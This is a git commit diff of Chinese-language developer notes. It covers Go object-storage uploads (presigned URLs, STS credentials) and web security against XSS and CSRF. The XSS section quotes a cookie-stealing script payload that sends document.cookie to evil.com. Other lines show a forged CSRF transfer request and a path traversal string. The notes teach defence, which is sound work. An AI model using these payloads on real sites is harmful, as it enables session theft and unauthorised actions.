vault backup: 2026-05-19 15:17:50

This commit is contained in:
hhs
2026-05-19 15:17:50 +08:00
parent af4f967ec9
commit 8c8c88c73f
3 changed files with 109 additions and 78 deletions
+9 -1
View File
@@ -1,5 +1,13 @@
---
tags: ["OAuth2", "MFA", "Authentication", "Authorization", "Security", "TOTP", "OpenID-Connect", "2FA"]
tags:
- OAuth2
- MFA
- Authentication
- Authorization
- Security
- TOTP
- OpenID-Connect
- 2FA
create time: 2026-05-17 20:00
---
+92 -70
View File
@@ -30,9 +30,9 @@ OSS(Object Storage Service)即**对象存储**,是一种将非结构化数
flowchart LR
subgraph OSS_BUCKET["Bucket: my-app-data"]
direction TB
O1["Key: uploads/avatar/001.png<br/>Body: (PNG binary data)"]
O2["Key: docs/report.pdf<br/>Body: (PDF binary data)"]
O3["Key: backups/db-dump.sql.gz<br/>Body: (SQL compressed)"]
O1["Key: uploads/avatar/001.png Body: PNG binary data"]
O2["Key: docs/report.pdf Body: PDF binary data"]
O3["Key: backups/db-dump.sql.gz Body: SQL compressed"]
end
classDef bucketStyle fill:#e3f2fd,stroke:#1565c0,stroke-width:2px
@@ -58,9 +58,9 @@ flowchart LR
```mermaid
graph TD
A["Go 对象存储 SDK"] --> B["Aliyun OSS SDK<br/>alibabacloud-oss-go-sdk-v2"]
A --> C["Minio Client SDK<br/>minio/go-minio"]
A --> D["AWS SDK for Go v2<br/>aws/aws-sdk-go-v2/s3"]
A["Go 对象存储 SDK"] --> B["Aliyun OSS SDK alibabacloud-go/oss-go-sdk-v2"]
A --> C["Minio Client SDK minio/minio-go"]
A --> D["AWS SDK for Go v2 aws/aws-sdk-go-v2/s3"]
B --> B1["适用于阿里云 OSS"]
B --> B2["API 完全覆盖 OSS 功能"]
@@ -68,11 +68,11 @@ graph TD
C --> C1["兼容 S3/OSS/COS/GCS 等"]
C --> C2["API 接近标准库 io.Reader"]
C --> C3["推荐用于多云/混合云场景"]
C --> C3["推荐用于多云混合云场景"]
D --> D1["AWS 官方 SDK"]
D --> D2["功能最全面"]
D --> D3["体积大, 编译慢"]
D --> D3["体积大 编译慢"]
style C1 fill:#e8f5e9,stroke:#2e7d32
style B1 fill:#fff3e0,stroke:#f57c00
@@ -107,10 +107,13 @@ client := oss.NewClient(&oss.Config{
})
```
**方式二:Minio Client(更简洁,跨云兼容)**
**方式二:Minio Client(更简洁,跨云兼容)— `github.com/minio/minio-go/v7`**
```go
import "github.com/minio/minio-go/v7"
import (
"github.com/minio/minio-go/v7"
"github.com/minio/minio-go/v7/pkg/credentials"
)
client, err := minio.New("oss-cn-hangzhou.aliyuncs.com", &minio.Options{
Creds: credentials.NewStaticV4(accessKey, secretKey, ""),
@@ -162,11 +165,11 @@ sequenceDiagram
participant GO as Gin Server
participant OSS as OSS 服务
FE->>GO: POST 文件 (multipart/form-data)
Note over GO: 解析请求体 (io.Reader 流式)
GO->>OSS: PUT 上传 (Stream 转发)
OSS-->>GO: 200 OK (ETag, Location)
GO-->>FE: 200 OK (返回 OSS 访问地址)
FE->>GO: POST 文件 multipart/form-data
Note over GO: 解析请求体 io.Reader 流式
GO->>OSS: PUT 上传 Stream 转发
OSS-->>GO: 200 OK ETag Location
GO-->>FE: 200 OK 返回 OSS 访问地址
```
**工作流程:**
@@ -231,19 +234,19 @@ sequenceDiagram
participant GO as Gin Server
participant OSS as OSS 服务
FE->>GO: GET /upload/url?filename=photo.jpg
FE->>GO: GET /upload/url filename photo.jpg
Note over GO: 验证登录态和权限
GO->>OSS: PresignedPutObject(photo.jpg, 15min)
OSS-->>GO: (预签名URL)含签名和过期参数
GO-->>FE: (返回URL和文件元信息)
GO->>OSS: PresignedPutObject photo.jpg 15min
OSS-->>GO: 预签名URL含签名和过期参数
GO-->>FE: 返回URL和文件元信息
FE->>OSS: PUT 直接上传<br/>Content-Type: image/jpeg<br/>文件二进制数据
FE->>OSS: PUT 直接上传 Content-Type image/jpeg 文件二进制数据
OSS-->>FE: 200 OK
opt 通知服务端完成
FE->>GO: POST /upload/callback<br/>文件名和元信息
FE->>GO: POST /upload/callback 文件名和元信息
Note over GO: 验证对象存在于 OSS
GO-->>FE: 200 OK (记录元信息到 DB)
GO-->>FE: 200 OK 记录元信息到 DB
end
```
@@ -254,7 +257,7 @@ sequenceDiagram
4. 上传完成后回调服务端,记录元信息到数据库
> [!info] 详细说明
> 预签名 URL 的安全要点、完整代码实现及回调验证逻辑详见 [第 7 节](#7-预签名-url-免服务端中转)。
> 预签名 URL 的安全要点、完整代码实现及回调验证逻辑详见 [§7](hhs/DEV/OSS/OSS.md)。
#### 方案 C:STS 临时凭证直传(STS Credentials)
@@ -267,11 +270,11 @@ sequenceDiagram
FE->>GO: 请求上传权限
Note over GO: 验证用户身份
GO->>STS: AssumeRole (角色Arn + SessionName)
STS-->>GO: AccessKeyId + AccessKeySecret + SecurityToken<br/>有效期15分钟
GO-->>FE: (返回临时凭证)
GO->>STS: AssumeRole 角色Arn加SessionName
STS-->>GO: AccessKeyId加AccessKeySecret加SecurityToken有效期15分钟
GO-->>FE: 返回临时凭证
FE->>OSS: 用临时凭证直接上传<br/>PostObject API
FE->>OSS: 用临时凭证直接上传 PostObject API
OSS-->>FE: 200 OK
```
@@ -334,14 +337,14 @@ func getSTSCredentials(c *gin.Context) {
```mermaid
flowchart TD
A["用户上传文件"] --> B{"文件大小?"}
B -- "<= 1MB" --> C{"是否需要服务端<br/>内容分析/转码?"}
B -- "<= 1MB" --> C{"是否需要服务端内容分析转码?"}
B -- "> 1MB 或不确定" --> D{"预期并发量?"}
C -- "否" --> E["✅ 方案 B: 预签名 URL<br/>最简单+零带宽开销"]
C -- "是" --> F["✅ 方案 A: 服务端中转<br/>可控但限并发"]
C -- "否" --> E["方案 B: 预签名 URL 最简单加零带宽开销"]
C -- "是" --> F["方案 A: 服务端中转 可控但限并发"]
D -- "QPS < 100" --> G["✅ 方案 B: 预签名 URL"]
D -- "QPS >= 100 或<br/>大批量/大文件" --> H["✅ 方案 C: STS 临时凭证<br/>灵活且可扩展"]
D -- "QPS < 100" --> G["方案 B: 预签名 URL"]
D -- "QPS >= 100 或大批量大文件" --> H["方案 C: STS 临时凭证 灵活且可扩展"]
```
> [!success] 经验法则
@@ -349,7 +352,7 @@ flowchart TD
---
*本节各方案代码已包含完整实现要点;更多细节可参考:[对象基本操作](#6-对象基本操作)、[预签名 URL 详解](#7-预签名-url-免服务端中转)、[并发与安全注意事项](#9-并发与安全注意事项)。*
*本节各方案代码已包含完整实现要点;更多细节可参考:[对象基本操作](#6-对象基本操作)、[预签名 URL 详解](hhs/DEV/OSS/OSS.md) 、[并发与安全注意事项](#9-并发与安全注意事项)。*
### 6. 对象基本操作
@@ -424,41 +427,60 @@ for obj := range objects {
### 7. 预签名 URL — 免服务端中转
**这是对象存储最常用的高级模式之一。**
> **核心问题**:用户上传图片时,如果不走对象存储直传,而是先 POST 到 Go 服务端再由服务端转发到 OSS——当 1000 个用户同时上传 5MB 图片时,Go 进程需要消耗多少带宽?
答案很简单:**5MB × 1000 = 5GB 内存 + 带宽压力**。这就是为什么应该让客户端直接跟 OSS 对话。
**预签名 URL 流程:**
**核心原理:** 预签名 URL 的本质是服务端用 AK/SK 对 HTTP 请求做一次 HMAC 签名,把签名结果以查询参数的形式附加到 URL 上。OSS 收到请求后,用同样的算法重算签名并比对——一致则放行,否则拒绝。整个过程不需要服务端暴露任何凭证。
```mermaid
sequenceDiagram
participant FE as 浏览器 / 客户端
participant GO as Gin Server
participant OSS as OSS 服务
FE->>GO: GET /upload/url<br/>?filename=photo.jpg
Note over GO: 验证用户登录态和权限
GO->>OSS: PresignedGetObject(photo.jpg, 15min)
OSS-->>GO: (预签名URL)<br/>含签名和过期参数
GO-->>FE: (返回URL和类型信息)
FE->>OSS: PUT直接上传<br/>Content-Type: image/jpeg<br/>文件二进制数据
OSS-->>FE: 200 OK
opt 通知服务端完成
FE->>GO: POST /upload/callback<br/>文件名和元信息
GO-->>FE: 200 OK
flowchart LR
subgraph SERVER["服务端 (持有永久 AK/SK)"]
S1["用户身份验证"] --> S2["调用 OSS API PresignedPutObject"]
S2 --> S3["HMAC-SHA256 签名计算"]
S3 --> S4["返回含签名参数的 URL"]
end
subgraph CLIENT["浏览器 (无凭证)"]
C1["收到预签名 URL"] --> C2["PUT 请求直达 OSS ?Signature=xxx&Expires=yyy"]
C2 --> C3["文件直传到 OSS"]
end
subgraph OSS["对象存储"]
O1["重算签名比对"] --> O2{"一致?"}
O2 -- "是" --> O3["接受上传 ✅"]
O2 -- "否" --> O4["拒绝 ❌ 403"]
C3 --> O1
end
S4 --> C1
style SERVER fill:#fff3e0,stroke:#f57c00
style CLIENT fill:#e3f2fd,stroke:#1565c0
style OSS fill:#e8f5e9,stroke:#2e7d32
```
> [!note] 安全要点
> 预签名 URL 有时间限制(通常 5~15 分钟),过期后无效。即使 URL 泄露也无法长期滥用。
**三个实用技巧:**
1. **限制 Content-Type 伪装**:`PresignedPutObject` 本身不约束 `Content-Type`,攻击者可能上传 `.php` 恶意脚本。解决方法是在 Callback 校验中加上类型白名单,或者使用 Object Lock(如果云厂商支持)。
2. **自动命名优于前端传文件名**:不要直接用前端传来的文件名生成 Key,容易路径遍历(`../../../etc/passwd`)。服务端统一用 UUID 命名,前端只负责传一个友好的展示名称:
```go
// 好:服务端控制实际存储路径
func getPresignedURL(c *gin.Context) {
displayName := c.Query("displayName")
key := uuid.New().String() + filepath.Ext(displayName)
// ... 生成预签名 URL
}
```
3. **过期时间按需分配**:小文件(头像、截图)给 5 分钟足够了;大视频或批量导出可以给 30 分钟~2 小时。过短 → 用户没传完就过期,过长 → 泄露后的风险窗口变大。
**代码示例:**
```go
import (
"context"
"path/filepath"
"time"
)
func getPresignedUploadURL(c *gin.Context) {
filename := c.Query("filename")
contentType := c.DefaultQuery("contentType", "application/octet-stream")
@@ -563,19 +585,19 @@ err := client.SetBucketLifecycle(ctx, bucketName, &lifecycle.Configuration{
```mermaid
flowchart TD
subgraph TRAPS["常见陷阱"]
T1["AccessKey泄露<br/>导致账单爆炸"]
T2["未限流<br/>OSS请求被拒绝"]
T3["命名冲突<br/>同名文件覆盖"]
T4["内存溢出<br/>全量读入内存"]
T5["内网跨地域<br/>用了公网Endpoint"]
T1["AccessKey泄露 导致账单爆炸"]
T2["未限流 OSS请求被拒绝"]
T3["命名冲突 同名文件覆盖"]
T4["内存溢出 全量读入内存"]
T5["内网跨地域 用了公网Endpoint"]
end
subgraph FIXES["解决方案"]
F1["使用RAM子账号+STS<br/>临时凭证(15min过期)"]
F2["客户端侧限速+重试退避<br/>指数退避算法"]
F3["使用UUID或NanoID重命名<br/>fileUUID_扩展名"]
F4["始终用io.Reader流式处理<br/>避免ReadAll读大文件"]
F5["确保ECS与Bucket同Region<br/>使用内网internal endpoint"]
F1["使用RAM子账号加STS临时凭证15min过期"]
F2["客户端侧限速加重试退避指数退避算法"]
F3["使用UUID或NanoID重命名fileUUID下划线扩展名"]
F4["始终用io.Reader流式处理避免ReadAll读大文件"]
F5["确保ECS与Bucket同Region使用内网internal endpoint"]
end
T1 --> F1
@@ -620,7 +642,7 @@ _, err := io.Copy(dst, obj) // 内存占用恒定(~64KB 内部缓冲区)
| 使用场景 | 所在章节 | 返回形式 | 典型消费者 |
|---------|---------|---------|-----------|
| HTTP 端点直传 | [§5.C](#方案-csts-临时凭证直传) | `gin.H` JSON | 浏览器前端 |
| HTTP 端点直传 | [§5.C](hhs/DEV/OSS/OSS.md) | `gin.H` JSON | 浏览器前端 |
| 内部服务间传递 | 下方 `GetTempCreds()` | `*sts.Credentials` 结构体 | 其他 Go 微服务 |
两种方式的 **AssumeRole 调用链路完全相同**(见下),区别仅在封装层级:HTTP handler 多了一层入参解析和响应序列化。生产环境中通常将其抽象为一个内部 `GetTempCreds(roleArn string, userID string)` 函数,由 HTTP handler 或其他服务统一调用,避免重复实现。
+8 -7
View File
@@ -45,15 +45,18 @@ graph LR
攻击者将恶意脚本存入数据库,每个访问该页面的用户都会中招。经典案例:留言板注入 `<script>fetch('https://evil.com/log?cookie='+document.cookie)</script>`。
```go
// ❌ 危险的存储做法 — 未过滤直接入库
// ❌ 危险的做法 — 存储了原始内容,但渲染时用 text/template 或 Response.Write 直出
func SaveComment(db *sql.DB, userID int, content string) error {
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
// ⚠️ 注意:存数据的代码本身已是安全的(参数化查询防 SQL 注入)
// 危险在于后续渲染时没有做 HTML 转义 → Stored XSS
// ✅ 正确做法 — 存储时不转义,渲染时编码;或使用富文本 sanitization
// ✅ 正确做法 — 存储不变,渲染时通过 html/template 自动编码输出
func SaveCommentSafely(db *sql.DB, userID int, content string) error {
// ⚠️ 纯文本场景:直接存原始内容,渲染时用 html/template 自动编码
// 纯文本场景:直接存原始内容
// 渲染用 {{.Content}} (html/template 自动转义 < > & " ')
_, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
return err
}
@@ -315,8 +318,7 @@ sequenceDiagram
A->>U: 1. 用户访问恶意页面<br/>伪造 GET /transfer?to=hacker&amt=10000
Note over U: 浏览器自动带上 bank.com 的 Cookie
U->>B: 2. GET /transfer?to=hacker&amt=10000
Cookie: sessionid=abc123...
U->>B: 2. GET /transfer?to=hacker&amt=10000<br/>Cookie: sessionid=abc123...
B->>B: 3. 校验 Session ✓ → 执行转账
B->>U: 4. 返回成功
Note over A,U: 用户毫无感知,钱已被转走
@@ -401,7 +403,7 @@ sequenceDiagram
FE->>SRV: GET /page (页面加载)
SRV->>SRV: 生成 csrf_token = random(256bit)
SRV->>FE: 返回 HTML + hidden input:<br/>&lt;input name="_csrf" value="token_xxx"&gt;
SRV->>FE: 返回 HTML + hidden input 字段(name="_csrf", value="token_xxx")
FE->>FE: Token 存入内存(或 cookie)
FE->>SRV: POST /transfer _csrf=token_xxx
@@ -409,7 +411,6 @@ sequenceDiagram
SRV->>FE: 200 OK
Note over Attacker: 攻击者页面试图伪造请求<br/>但没有 csrf_token
end
Attacker->>SRV: POST /transfer (无 token)
SRV->>SRV: 比对失败 ✗